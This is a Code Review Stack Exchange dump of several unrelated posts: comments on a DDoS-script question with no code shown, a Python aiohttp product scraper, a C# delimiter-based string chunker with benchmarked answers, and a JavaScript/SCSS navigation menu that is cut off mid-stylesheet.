[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T11:15:50.403", "Id": "508946", "Score": "0", "body": "Quote from [DDoS Attack Scripts](https://www.imperva.com/learn/ddos/ddos-attack-scripts/) : *\"Not all DDoS scripts are developed to be malicious. In fact, some are written by white hat hackers as proof of concept (POC) for a newly discovered vulnerability—proving its existence to promote better security practices. However, such scripts are often repurposed for malicious reasons. \"* What do you plan to use the script for?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T12:14:18.717", "Id": "509057", "Score": "0", "body": "I never want to use this DDoS script for malicious purposes, I just want to know If I can make one, and I was wondering if you had any suggestion how I can improve it? I'm just doing it for fun and just to try." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T14:01:59.063", "Id": "257343", "Score": "2", "Tags": [ "performance", "perl" ], "Title": "Amplifying this ddos code" }
257343
<p>To better familiarize with async requests I wrote a very simple scraper that relies on <a href="https://docs.aiohttp.org/en/stable/" rel="nofollow noreferrer"><code>aiohttp</code></a> to retrieve some basic information from the product page (product name and availability status) or an Italian e-commerce retailer.<br /> Code is organized according the following structure:</p> <h2><code>stores.py</code></h2> <p><code>stores</code> module contains a prototype <code>AsyncScraper</code> that basically holds all request-related methods: takes care of building the coroutine task list (one coroutine each product to be scraped) plus a method to dispatch the request and extract target information.</p> <p>Given each website has different DOMs, each e-commerce website will have its own class implementing specific extraction methods.</p> <pre class="lang-py prettyprint-override"><code>import asyncio from asyncio.tasks import wait_for from aiohttp.client import ClientSession from bs4 import BeautifulSoup import const class AsyncScraper: &quot;&quot;&quot; A base scraper class to interact with a website. &quot;&quot;&quot; def __init__(self): self.product_ids = None self.base_url = None self.content = None # Placeholder method def get_product_title(): pass # Placeholder method def get_product_availability(): pass async def _get_tasks(self): tasks = [] async with ClientSession() as s: for product in self.product_ids: tasks.append(wait_for(self._scrape_elem(product, s), 20)) print(tasks) return await asyncio.gather(*tasks) async def _scrape_elem(self, product, session): async with session.get( self._build_url(product), raise_for_status=True ) as res: if res.status != 200: print(f&quot;something went wrong: {res.status}&quot;) page_content = await res.text() self.content = BeautifulSoup(page_content, &quot;html.parser&quot;) # Extract product attributes title = self.get_product_title() availability = self.get_product_availability() # Check if stuff is actually working print(f&quot;{title} - {availability}&quot;) def scrape_stuff(self): loop = asyncio.get_event_loop() loop.run_until_complete(self._get_tasks()) def _build_url(self, product_id): return f&quot;{self.base_url}{product_id}&quot; class EuronicsScraper(AsyncScraper): &quot;&quot;&quot; Class implementing extractions logic for euronics.it &quot;&quot;&quot; base_url = &quot;https://www.euronics.it/&quot; def __init__(self): self.product_ids = const.euronics_prods def get_product_title(self): title = self.content.find( &quot;h1&quot;, {&quot;class&quot;: &quot;productDetails__name&quot;} ).text.strip() return title def get_product_availability(self): avail_kw = [&quot;prenota&quot;, &quot;aggiungi&quot;] availability = self.content.find( &quot;span&quot;, {&quot;class&quot;: &quot;button__title--iconTxt&quot;} ).text.strip() # Availability will be inferred from button text if any(word in availability.lower() for word in avail_kw): availability = &quot;Disponibile&quot; else: availability = &quot;Non disponibile&quot; return availability </code></pre> <h2><code>const.py</code></h2> <p>Target products to be scraped are stored in a <code>const</code> module. This is as simple as declaring a set of product IDs.</p> <pre class="lang-py prettyprint-override"><code># Products ids to be scraped euronics_prods = ( &quot;obiettivi-zoom/nikon/50mm-f12-nikkor/eProd162017152/&quot;, &quot;tostapane-tostiere/ariete/155/eProd172015168/&quot;, ) </code></pre> <h2><code>runner.py</code></h2> <p>The script is ultimately run by iterating over a list of scrapers and invoking their <code>scrape_stuff</code> method, inherited from the <code>AsyncScraper</code> parent class.</p> <pre class="lang-py prettyprint-override"><code>&quot;&quot;&quot; This is just a helper used as a script runner &quot;&quot;&quot; from stores import EuronicsScraper def main(): scrapers = [EuronicsScraper()] for scraper in scrapers: scraper.scrape_stuff() if __name__ == &quot;__main__&quot;: main() </code></pre> <h2>Questions</h2> <p>I am mainly interested if I've overlooked anything major that might get this piece of code hard to rework or to debug in the future. While I was writing it, it made complete sense to me as:</p> <ul> <li>Implementing a new scraper is just a matter of subclassing <code>AsyncScraper</code> and implementing extractions methods.</li> <li>All request-related logic is in one place. It might be necessary to override these methods for classes dealing with websites that need some js interaction (probably using an headless browser using <a href="https://www.selenium.dev/" rel="nofollow noreferrer"><code>selenium</code></a>) but I feel it's way beyond the scope of this review.</li> </ul> <p>One thing I am not too fond of (probably need to dive deeper into inheritance) is the use of placeholder methods in <code>AsyncScraper</code> as it'll force me to implement <em>n</em> dummy methods (where <em>n</em> is the number of website-specific methods that can be found in the other classes). I feel this is a bit of a hack and kind of defeats the purpose of class inheritance.</p> <p>Any advice is more than welcome.</p> <hr />
[]
[ { "body": "<blockquote>\n<p>One thing I am not too fond of (probably need to dive deeper into\ninheritance) is the use of placeholder methods in AsyncScraper as\nit'll force me to implement n dummy methods (where n is the number of\nwebsite-specific methods that can be found in the other classes). I\nfeel this is a bit of a hack and kind of defeats the purpose of class\ninheritance.</p>\n</blockquote>\n<p>Instead of additional placeholder methods in <code>AsyncScraper</code>, you could use a single abstract method that returns a <code>dict</code> of additional site-specific data. Then concrete classes would override the single abstract method for the <em>n</em> additional data points. Something like:</p>\n<p><strong>stores.py</strong></p>\n<pre class=\"lang-py prettyprint-override\"><code>class AsyncScraper:\n...\n\n def get_site_specific_details() -&gt; dict[str, str]:\n raise NotImplementedError() # or pass if this is optional\n\n...\n\n async def _scrape_elem(self, product, session):\n \n ...\n\n # Extract product attributes\n title = self.get_product_title()\n availability = self.get_product_availability()\n additional_details = get_site_specific_details()\n\n # Check if stuff is actually working\n print(f&quot;{title} - {availability}&quot;)\n print(&quot;Additional details: &quot;)\n for name, value in additional_details.items():\n print(f&quot;{name}: {value}&quot;)\n\n ...\n\nclass SomeNewScraper(AsyncScraper):\n\n...\n \n def get_site_specific_details() -&gt; dict[str, str]:\n details = {}\n positive_reviews = self.content.find(&quot;...&quot;)\n details[&quot;positive_reviews&quot;] = positive_reviews\n \n ...\n \n return details\n\n</code></pre>\n<p>Then <code>AsyncScraper</code> can focus on the minimum set of attributes required across all site scrapers.</p>\n<p><strong>Note</strong>: Python does have an <a href=\"https://docs.python.org/3/library/abc.html\" rel=\"nofollow noreferrer\">Abstract Base Classes</a> lib, but I'm not familiar with it. My example probably isn't using the best syntax, but conceptually I think it gets the point across.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T13:17:10.280", "Id": "508417", "Score": "0", "body": "Thanks for taking some time to give it some thought, this looks like a step in the right direction - will definitely play around with it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T20:31:01.233", "Id": "508458", "Score": "0", "body": "Post what you come up with... I like to learn new approaches." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T12:15:59.777", "Id": "508566", "Score": "0", "body": "I've implemented your approach and I believe it serves the purpose well. Obv it forces to be careful with helper methods to avoid ending up with a too long `get_site_specific_details` (but again, it is minor)." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T23:49:42.550", "Id": "257374", "ParentId": "257344", "Score": "1" } } ]
{ "AcceptedAnswerId": "257374", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T14:15:57.543", "Id": "257344", "Score": "0", "Tags": [ "python", "python-3.x", "asynchronous", "async-await" ], "Title": "Using asyncio and aiohttp in classes" }
257344
<h1>Problem</h1> <p>I need to be able to grab a subset of characters but ensure that each set doesn't exceed a specified limit and must end with a defined set of characters. For example, say I have an entire book worth of characters, I need to chunk that into a set of 300 characters but ensure that none of those chunks is split mid-sentence.</p> <p>To put it into pesudo code I basically need:</p> <pre><code>foreach(var chunk in text.Chunk(x).ButAlsoSplitOnFirst('.', '!', '?', etc...); </code></pre> <h1>My solution</h1> <pre class="lang-csharp prettyprint-override"><code>public static class StringExtensions { public static IEnumerable&lt;string&gt; ChunkWithDelimeters(this string source, int maxChar, params char[] delimeters) { var sourceSpan = source.AsSpan(); var items = new List&lt;string&gt;(); var pointer = 0; var lazyPointer = 0; while (pointer &lt;= sourceSpan.Length) { bool foundMatch = false; pointer = Math.Min(lazyPointer + maxChar, sourceSpan.Length); if (pointer == sourceSpan.Length) { items.Add(sourceSpan.Slice(lazyPointer, pointer - lazyPointer).TrimStart().ToString()); break; } for (var j = pointer; j &gt;= lazyPointer; j--) { var tempChar = sourceSpan[j]; if (delimeters.Contains(tempChar)) { foundMatch = true; items.Add(sourceSpan.Slice(lazyPointer, j + 1 - lazyPointer).TrimStart().ToString()); lazyPointer = j + 1; } } if (!foundMatch) { items.Add(sourceSpan.Slice(lazyPointer, pointer - lazyPointer).Trim().ToString()); lazyPointer = pointer; } } return items; } } </code></pre> <h2>Benchmarks</h2> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th>source.Length</th> <th>maxChar</th> <th>delimiters</th> <th>Mean (μs)</th> <th>Error (μs)</th> <th>StdDev (μs)</th> </tr> </thead> <tbody> <tr> <td>7320000</td> <td>30</td> <td>'.'</td> <td>73,622.739</td> <td>1,412.4035</td> <td>1,252.0589</td> </tr> <tr> <td>439200</td> <td>30</td> <td>'.'</td> <td>4,122.574</td> <td>68.6392</td> <td>60.8468</td> </tr> <tr> <td>731</td> <td>30</td> <td>'.'</td> <td>5.125</td> <td>0.0466</td> <td>0.0436</td> </tr> </tbody> </table> </div><h1>My question</h1> <p>What is the optimal solution to this problem? Is there any way I can improve the performance of my solution?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T14:54:25.207", "Id": "508327", "Score": "0", "body": "What if the sentence is longer than 300 chars? Which rule wins?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T14:56:15.007", "Id": "508328", "Score": "0", "body": "Ensure that each set doesn't exceed a specified limit and must end with a defined set of characters unless those characters are not in the chunk?" } ]
[ { "body": "<p>Don't you need to test for delimiters here? From reading your code I assume we want to max chunk but if inside the chunk there are delimiters we want to break that up. If the last section fits in the entire chunk it's not checking for delimiters</p>\n<pre><code>if (pointer == sourceSpan.Length)\n{\n items.Add(sourceSpan.Slice(lazyPointer, pointer - lazyPointer).TrimStart().ToString());\n break;\n}\n</code></pre>\n<p>Also you could use IndexOfAny instead of the loop at the end</p>\n<p><strong>WARNING</strong> this code not tested and just used an example</p>\n<pre><code>var slice = sourceSpan.Slice(lazyPointer, pointer - lazyPointer);\nvar contains = slice.IndexOfAny(delimeters);\nwhile (contains &gt; -1)\n{\n items.Add(slice.Slice(0, contains + 1).ToString());\n slice = slice.Slice(contains + 1);\n contains = slice.IndexOfAny(delimeters);\n}\n</code></pre>\n<p>Now some other points that I think you should split by delimiters first then chunks. Instead of chunks then delimiters. If I have a string of &quot;12345.6789.8.654321&quot; and split by 7. The first two coming out would be &quot;12345&quot; &lt;-- looks good but then the next chunk would be &quot;6&quot; then chunk after that would be &quot;789&quot;,&quot;8&quot;,&quot;6&quot;,&quot;54321&quot; if we split by delimiters first then chunked them it would output what I think most people would expect.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T14:04:22.320", "Id": "508420", "Score": "1", "body": "Also if want to get fancy then you can look at this blog https://www.meziantou.net/split-a-string-into-lines-without-allocation.htm" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T13:59:37.223", "Id": "257398", "ParentId": "257345", "Score": "0" } }, { "body": "<h1>Bugfix</h1>\n<p>Your code has an error. If you take a look at the next lines, you will realize, that delimiters at the end of the string are ignored.</p>\n<pre><code> pointer = Math.Min(lazyPointer + maxChar, sourceSpan.Length);\n\n if (pointer == sourceSpan.Length)\n {\n items.Add(sourceSpan.Slice(lazyPointer, pointer - lazyPointer).TrimStart().ToString());\n break;\n }\n</code></pre>\n<p>Let's make some test cases</p>\n<pre><code> // correct\n new TestCase(source: &quot;source&quot;, maxChar: 7, delimiters: new [] { ',' }, expected: new []{ &quot;source&quot; }), \n new TestCase(source: &quot;sou,rce&quot;, maxChar: 3, delimiters: new [] { ',' }, expected: new []{ &quot;sou,&quot;, &quot;rce&quot; }),\n new TestCase(source: &quot;sou,rce&quot;, maxChar: 4, delimiters: new [] { ',' }, expected: new []{ &quot;sou,&quot;, &quot;rce&quot; }),\n\n // failed\n new TestCase(source: &quot;sou,rce&quot;, maxChar: 7, delimiters: new [] { ',' }, expected: new []{ &quot;sou,&quot;, &quot;rce&quot; }),\n new TestCase(source: &quot;12,3,4,,&quot;, maxChar: 2, delimiters: new [] { ',' }, expected: new []{ &quot;12,&quot;, &quot;3,&quot;, &quot;4,,&quot; }),\n new TestCase(source: &quot;12,45,78&quot;, maxChar: 8, delimiters: new [] { ',' }, expected: new []{ &quot;12,45,&quot;, &quot;78&quot; })\n</code></pre>\n<p>Obviously, we need to get rid of <code>if (pointer == sourceSpan.Length)</code> branch, because this branch can't work.\nUnfortunattely, that lead us to new problem.\nIn some lines you work with pointers like a pointers, but in other places you are working with them like length. No worries, <a href=\"https://www.wikiwand.com/en/Off-by-one_error\" rel=\"nofollow noreferrer\">off-by-one error</a> is most typical error.</p>\n<p>Fixed code:</p>\n<pre><code> var sourceSpan = source.AsSpan();\n var items = new List&lt;string&gt;();\n var lazyPointer = 0;\n\n while (lazyPointer &lt; sourceSpan.Length)\n {\n bool foundMatch = false;\n\n var pointer = Math.Min(lazyPointer + maxChar, sourceSpan.Length - 1);\n\n for (var delimiterP = pointer; delimiterP &gt;= lazyPointer; delimiterP--)\n {\n var tempChar = sourceSpan[delimiterP];\n\n if (delimeters.Contains(tempChar))\n {\n foundMatch = true;\n items.Add(sourceSpan.Slice(lazyPointer, delimiterP + 1 - lazyPointer).TrimStart().ToString());\n lazyPointer = delimiterP + 1;\n }\n }\n\n if (!foundMatch)\n {\n items.Add(sourceSpan.Slice(lazyPointer, pointer - lazyPointer + 1).Trim().ToString());\n lazyPointer = pointer + 1;\n }\n }\n\n return items;\n</code></pre>\n<h1>Other possible bugs</h1>\n<p>Please, note that there is next test case:</p>\n<pre><code>new TestCase(source: &quot;12,45,78&quot;, maxChar: 8, delimiters: new [] { ',' }, expected: new []{ &quot;12,45,&quot;, &quot;78&quot; })\n</code></pre>\n<p>This test case shows that we are not splitting our string on first delimiter. Still, I'm not sure if that's not expected. So, I will not fix this bug.</p>\n<h1>Trim</h1>\n<p>Your code has calls to <code>Trim()</code> and <code>TrimStart()</code>.\nI suppose that these calls are wrong, because there are no sense to drop whitespace characters.\nI strictly suggest you to remove such logic.</p>\n<h1>Performance</h1>\n<ol>\n<li>(just as idea) If you take a look to your code, you will notice that you scan string in reverse order. But computers are good at scanning in normal order. Unfortunattely, that didn't helped, because in such case amount of checks &quot;is delimiter&quot; is increased significantly.</li>\n<li>Your code has conversion ToSpan() and vice-versa. But you don't really need it. If you get rid of that, you will reduce costs for a little bit</li>\n<li>Your code accepts array of delimiters and use Contains over it. You can add <code>var delimetersSet = new HashSet&lt;char&gt;(delimeters);</code> into your function body. After that you will be able to check via <code>Contains</code> over set, which is much faster even for single-char.</li>\n</ol>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Method</th>\n<th>AmountOfChars</th>\n<th>MaxChar</th>\n<th style=\"text-align: right;\">Mean</th>\n<th style=\"text-align: right;\">Error</th>\n<th style=\"text-align: right;\">StdDev</th>\n<th style=\"text-align: right;\">Median</th>\n<th style=\"text-align: right;\">Ratio</th>\n<th style=\"text-align: right;\">RatioSD</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>ChunkV2</td>\n<td>731</td>\n<td>30</td>\n<td style=\"text-align: right;\">6.842 us</td>\n<td style=\"text-align: right;\">0.1585 us</td>\n<td style=\"text-align: right;\">0.4445 us</td>\n<td style=\"text-align: right;\">6.768 us</td>\n<td style=\"text-align: right;\">1.00</td>\n<td style=\"text-align: right;\">0.00</td>\n</tr>\n<tr>\n<td>ChunkV3NormalOrder</td>\n<td>731</td>\n<td>30</td>\n<td style=\"text-align: right;\">11.766 us</td>\n<td style=\"text-align: right;\">0.1925 us</td>\n<td style=\"text-align: right;\">0.1801 us</td>\n<td style=\"text-align: right;\">11.744 us</td>\n<td style=\"text-align: right;\">1.73</td>\n<td style=\"text-align: right;\">0.07</td>\n</tr>\n<tr>\n<td>ChunkV4NoSpan</td>\n<td>731</td>\n<td>30</td>\n<td style=\"text-align: right;\">6.657 us</td>\n<td style=\"text-align: right;\">0.2251 us</td>\n<td style=\"text-align: right;\">0.6496 us</td>\n<td style=\"text-align: right;\">6.386 us</td>\n<td style=\"text-align: right;\">0.98</td>\n<td style=\"text-align: right;\">0.11</td>\n</tr>\n<tr>\n<td>ChunkV5NoSpanPlusHashSet</td>\n<td>731</td>\n<td>30</td>\n<td style=\"text-align: right;\">3.989 us</td>\n<td style=\"text-align: right;\">0.0795 us</td>\n<td style=\"text-align: right;\">0.2022 us</td>\n<td style=\"text-align: right;\">3.916 us</td>\n<td style=\"text-align: right;\">0.59</td>\n<td style=\"text-align: right;\">0.05</td>\n</tr>\n<tr>\n<td></td>\n<td></td>\n<td></td>\n<td style=\"text-align: right;\"></td>\n<td style=\"text-align: right;\"></td>\n<td style=\"text-align: right;\"></td>\n<td style=\"text-align: right;\"></td>\n<td style=\"text-align: right;\"></td>\n<td style=\"text-align: right;\"></td>\n</tr>\n<tr>\n<td>ChunkV2</td>\n<td>439200</td>\n<td>30</td>\n<td style=\"text-align: right;\">5,341.912 us</td>\n<td style=\"text-align: right;\">106.2519 us</td>\n<td style=\"text-align: right;\">191.5941 us</td>\n<td style=\"text-align: right;\">5,297.506 us</td>\n<td style=\"text-align: right;\">1.00</td>\n<td style=\"text-align: right;\">0.00</td>\n</tr>\n<tr>\n<td>ChunkV3NormalOrder</td>\n<td>439200</td>\n<td>30</td>\n<td style=\"text-align: right;\">9,622.672 us</td>\n<td style=\"text-align: right;\">184.7573 us</td>\n<td style=\"text-align: right;\">197.6882 us</td>\n<td style=\"text-align: right;\">9,574.349 us</td>\n<td style=\"text-align: right;\">1.81</td>\n<td style=\"text-align: right;\">0.06</td>\n</tr>\n<tr>\n<td>ChunkV4NoSpan</td>\n<td>439200</td>\n<td>30</td>\n<td style=\"text-align: right;\">5,364.784 us</td>\n<td style=\"text-align: right;\">104.9642 us</td>\n<td style=\"text-align: right;\">194.5579 us</td>\n<td style=\"text-align: right;\">5,378.948 us</td>\n<td style=\"text-align: right;\">1.01</td>\n<td style=\"text-align: right;\">0.05</td>\n</tr>\n<tr>\n<td>ChunkV5NoSpanPlusHashSet</td>\n<td>439200</td>\n<td>30</td>\n<td style=\"text-align: right;\">4,386.657 us</td>\n<td style=\"text-align: right;\">115.0679 us</td>\n<td style=\"text-align: right;\">331.9972 us</td>\n<td style=\"text-align: right;\">4,282.553 us</td>\n<td style=\"text-align: right;\">0.83</td>\n<td style=\"text-align: right;\">0.08</td>\n</tr>\n</tbody>\n</table>\n</div>", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-08-17T10:16:33.413", "Id": "266121", "ParentId": "257345", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T14:20:21.053", "Id": "257345", "Score": "2", "Tags": [ "c#", "performance", "algorithm", "strings" ], "Title": "Chunk a large set of characters by a specified set of delimiters and a maximum chunk size" }
257345
<p>I have the following menu concept -</p> <p><a href="https://codepen.io/morgancarbonfourteen/pen/GRNbgEO" rel="nofollow noreferrer">https://codepen.io/morgancarbonfourteen/pen/GRNbgEO</a></p> <pre class="lang-javascript prettyprint-override"><code>const body = document.getElementsByTagName(&quot;body&quot;)[0]; const headerNavTrigger = document.getElementsByClassName(&quot;header__button--burger&quot;)[0]; const hasSubnav = document.querySelectorAll(&quot;.header__navigation--hasChildren&quot;); const overlay = document.getElementsByClassName(&quot;overlay&quot;)[0]; const desktopBreakpoint = 1080; // Controls for Hamburger Trigger if (headerNavTrigger) { headerNavTrigger.addEventListener(&quot;click&quot;, () =&gt; toggleNav()); } function toggleNav() { const topLevelItems = document.querySelectorAll('.header__navigation--toplevel &gt; li'); // If the navigation is not open if(!body.classList.contains('navigation__open')) { openNav(); // Delay set to allow for initial opening state of the top level menu container setTimeout(function() { animateMenuItems(topLevelItems); }, 250); } else { const openSubnavs = document.querySelectorAll('.navigation__expandable--isExpanded'); // CHECK IF SUBNAVS ARE OPEN // If subnavs are open, we need to close them first before closing the top level menus if(openSubnavs.length) { openSubnavs.forEach((openSubnav) =&gt; { const openSubnavTarget = openSubnav.querySelector('.header__navigation--subnav'); let isExpanded = openSubnavTarget.getAttribute('data-expanded'); if(isExpanded === 'true') { toggleSubnav(openSubnavTarget); // This timer here to allow for submenus to close setTimeout(function() { animateMenuItems(topLevelItems); setTimeout(function() { closeNav(); }, 500); }, 750); } }) } else { // IF NO SUB MENUS OPEN, CLOSE AS NORMAL animateMenuItems(topLevelItems); // Delay set to allow for menu items to return to original state setTimeout(function() { closeNav(); }, 500); } } } // Opens the main navigation // Adds a class to the body function openNav() { body.classList.add('navigation__open'); } // Closes the main navigation // Removes class from the body function closeNav() { body.classList.remove('navigation__open', 'subnav__open'); } // Functionality to animate drop all top level menu items function animateMenuItems(target) { target.forEach((targetItem) =&gt; { if(!targetItem.classList.contains('is-moved')) { targetItem.classList.add('is-moved'); } else { targetItem.classList.remove('is-moved'); } }) } // Controls for Overlay // Closes the menu system on click of overlay if (overlay) { overlay.addEventListener(&quot;click&quot;, (e) =&gt; { if (e.currentTarget === overlay) { let windowWidth = checkWindowWidth(); // If we are at desktop size it needs to do the following // - Animate the menu items back up // - Set the data-expanded attr to false // - Remove the --isExpanded modifier from its parent if(windowWidth &gt;= desktopBreakpoint) { const getExpandableSubnavs = document.querySelectorAll('.navigation__expandable'); const getSubnavs = document.querySelectorAll('.header__navigation--subnav'); const getSubnavMenuItems = document.querySelectorAll('.header__navigation--item'); animateMenuItems(getSubnavMenuItems); setTimeout(function() { for(var i = 0; i &lt; getSubnavs.length; i++) { getSubnavs[i].setAttribute('data-expanded', 'false'); getExpandableSubnavs[i].classList.remove('navigation__expandable--isExpanded'); } closeNav(windowWidth); }, 750); } else { toggleNav(); } } }); } // Controls the Subnav if(hasSubnav) { hasSubnav.forEach((subnav) =&gt; { subnav.addEventListener('click', (e) =&gt; { e.preventDefault(); let targetSubnavParent = e.target.parentElement; let targetSubNav = e.target.nextElementSibling; if(targetSubnavParent.classList.contains('header__navigation--hasChildren')) { toggleSubnav(targetSubNav); } }) }) } // Toggles a sub nav function toggleSubnav(target) { let isExpaned = target.getAttribute(&quot;data-expanded&quot;); const targetMenuItems = target.querySelectorAll('.header__navigation--item'); if(isExpaned === 'true') { animateMenuItems(targetMenuItems); setTimeout(function() { closeSection(target); target.parentElement.classList.remove('navigation__expandable--isExpanded'); body.classList.remove('subnav__open'); }, 250); } else { body.classList.add('subnav__open'); expandSection(target); target.parentElement.classList.add('navigation__expandable--isExpanded'); setTimeout(function() { animateMenuItems(targetMenuItems); }, 550); } } function closeSection(element) { // get the height of the element's inner content, regardless of its actual size let sectionHeight = element.scrollHeight; // temporarily disable all css transitions let elementTransition = element.style.transition; element.style.transition = &quot;&quot;; // on the next frame (as soon as the previous style change has taken effect), // explicitly set the element's height to its current pixel height, so we // aren't transitioning out of 'auto' requestAnimationFrame(function () { element.style.height = sectionHeight + &quot;px&quot;; element.style.transition = elementTransition; // on the next frame (as soon as the previous style change has taken effect), // have the element transition to height: 0 requestAnimationFrame(function () { element.style.height = 0 + &quot;px&quot;; }); }); // mark the section as &quot;currently collapsed&quot; element.setAttribute(&quot;data-expanded&quot;, &quot;false&quot;); } function expandSection(element) { // get the height of the element's inner content, regardless of its actual size let sectionHeight = element.scrollHeight; // have the element transition to the height of its inner content element.style.height = sectionHeight + &quot;px&quot;; // when the next css transition finishes (which should be the one we just triggered) element.addEventListener(&quot;transitionend&quot;, function (e) { // remove this event listener so it only gets triggered once element.removeEventListener(&quot;transitionend&quot;, arguments.callee); // remove &quot;height&quot; from the element's inline styles, so it can return to its initial value element.style.height = null; }); // mark the section as &quot;currently not collapsed&quot; element.setAttribute(&quot;data-expanded&quot;, &quot;true&quot;); } // Check the width of the browser window and return it function checkWindowWidth() { return Math.max( document.documentElement.clientWidth || 0, window.innerWidth || 0 ); } // RESETS MENU STATES // Used to get back to 'normal' state when at desktop function resetMenus() { body.classList.remove('navigation__open', 'subnav__open'); const allMenuItems = document.querySelectorAll('.header__navigation--item'); const allExpandableSubnavs = document.querySelectorAll('.navigation__expandable'); const allExpandedSubnavs = document.querySelectorAll('.header__navigation--subnav'); allMenuItems.forEach((menuItem) =&gt; menuItem.classList.remove('is-moved')); allExpandableSubnavs.forEach((expandableSubnav) =&gt; expandableSubnav.classList.remove('navigation__expandable--isExpanded')); allExpandedSubnavs.forEach((expandedSubnav) =&gt; expandedSubnav.setAttribute('data-expanded', 'false')); } // Resize Checks window.addEventListener(&quot;resize&quot;, function () { let currentWindowWidth = checkWindowWidth(); if (currentWindowWidth &gt;= desktopBreakpoint) { // Close the menu if resizing up to desktop resetMenus(); } }); </code></pre> <pre><code>.header { background-color: blue; height: 80px; position: fixed; top: 0; left: 0; right: 0; z-index: 100; padding: 0 20px; box-shadow: 0px 5px 40px 0px rgba(0,0,0,0.8); font-family: sans-serif; @media(min-width: 1080px) { height: 110px; } &amp;__container { display: flex; align-items: center; justify-content: space-between; height: 100%; } &amp;__button { height: 60px; button, a { background-color: red; height: 100%; width: 100%; border: none; border-radius: 50%; padding: 0; text-align: center; cursor: pointer; } &amp;--buy { flex: 0 0 80px; img { display: none; } a { position: relative; display: flex; align-items: center; span { position: absolute; color: #fff; text-transform: uppercase; font-size: 22px; width: 82px; left: -1px; transform: rotate(-4deg); } } @media(min-width: 1080px) { order: 3; flex-basis: 245px; height: 50px; position: relative; img { width: 100%; display: block; transform: translateY(-40px); } a { position: absolute; bottom: -25px; border-radius: 0; opacity: 0; height: calc(100% + 10px); transform: translateY(8px) rotate(3deg); margin: 0 24px; width: calc(100% - 54px); span { display: none; } } } @media(min-width: 1200px) { flex-basis: 288px; height: 102px; button { transform: translateY(-20px) rotate(3deg); margin: 0 30px; width: calc(100% - 60px); height: calc(100% - 10px); } } } &amp;--burger { flex: 0 0 60px; overflow: hidden; button { padding: 0 15px; } span { display: block; background-color: #fff; width: 30px; height: 2px; border-radius: 1px; margin: 8px 0; &amp;:nth-of-type(1), &amp;:nth-of-type(3) { transition: margin 0.3s ease, transform 0.3s ease; } &amp;:nth-of-type(1) { transform-origin: left; } &amp;:nth-of-type(2) { transition: opacity 0.3s ease; } &amp;:nth-of-type(3) { transform-origin: right; } } @media(min-width: 1080px) { display: none; } } } &amp;__logo { display: flex; flex: 0 1 182px; height: 70px; margin: auto 15px 0 15px; transform: translateY(6px); padding: 0; &gt; a { &amp;:hover { cursor: pointer; } } img { margin-top: auto; width: 100%; height: auto; } @media(min-width: 1080px) { height: 100px; flex-basis: 210px; order: 1; padding: 0; transform: translateY(10px); margin: auto 0 0; } @media(min-width: 1200px) { flex-basis: 260px; transform: translateY(20px); } } &amp;__navigation { background-color: transparent; height: 0; overflow: hidden; max-width: 500px; margin-left: auto; margin-right: auto; position: fixed; z-index: 99; left: 0; right: 0; top: 80px; &amp;--toplevel { list-style: none; padding-left: 0; text-transform: uppercase; text-align: center; margin: 30px 0 0; padding: 0 20px; transform: translateY(calc((100% + 30px) * -1)); transition: transform 0.5s ease; &gt; .header__navigation--item { background-color: grey; position: relative; transform: translateY(-110%); transition: transform 0.5s cubic-bezier(0.34, 1.4, 0.64, 1); &amp;.is-moved { transform: translateY(0%)!important; } &amp;:hover { background-color: #555; } @media(max-width: 1079px) { &amp;.navigation__expandable--isExpanded { +.header__navigation--item { overflow: hidden; } } } } @for $i from 0 through 20 { &gt; .header__navigation--item:nth-child(#{$i + 1}) { z-index: 1 + $i; transform: translateY(-150% * ($i + 1)); transition-delay: 0.05s * $i; } } } &amp;--item { a { font-size: 24px; color: #fff; text-shadow: 2px 2px 0px rgba(0, 0, 0, 0.3); background-size: 100% 100%; background-position: center; background-repeat: no-repeat; min-height: 50px; padding: 10px 40px; display: block; transition: background-image 0.3s ease; } } &amp;--subnav { margin-top: 0; padding: 0 40px; height: 0; overflow: hidden; transition: height 0.5s ease; &amp;[data-expanded=&quot;false&quot;] { height: 0px; } &amp;[data-expanded=&quot;true&quot;] { height: auto; @media(min-width: 1080px) { padding-top: 30px; .header__navigation--subnavList { padding-bottom: 15px; } } } &amp;List { &gt; .header__navigation--item { background-color: #444; position: relative; transform: translateY(-110%); transition: transform 0.5s cubic-bezier(0.34, 1.4, 0.64, 1); &amp;.is-moved { transform: translateY(0%)!important; } } @for $i from 0 through 20 { &gt; .header__navigation--item:nth-child(#{$i + 1}) { z-index: 1 + $i; transform: translateY(-100% * ($i + 1)); transition-delay: 0.05s * $i; @media(min-width: 1080px) { transform: translateY(-160% * ($i + 1)); } } } } @media(max-width: 1079px) { .header__navigation--item { &gt;a { padding-left: 25px; padding-right: 25px; } } } } @media(min-width: 1080px) { height: 110px; overflow: visible; position: fixed; top: 0; bottom: 0; padding: 0; max-width: calc(1460px - 500px); width: calc(100% - 500px); z-index: 100; &amp;--container, &amp;--toplevel, &amp;--toplevel &gt; .header__navigation--item, &amp;--toplevel &gt; .header__navigation--item &gt; a { height: 100%; } &amp;--toplevel { justify-content: center; margin-top: 0; transform: translateY(0); transition: none; padding: 0; &gt; .header__navigation--item 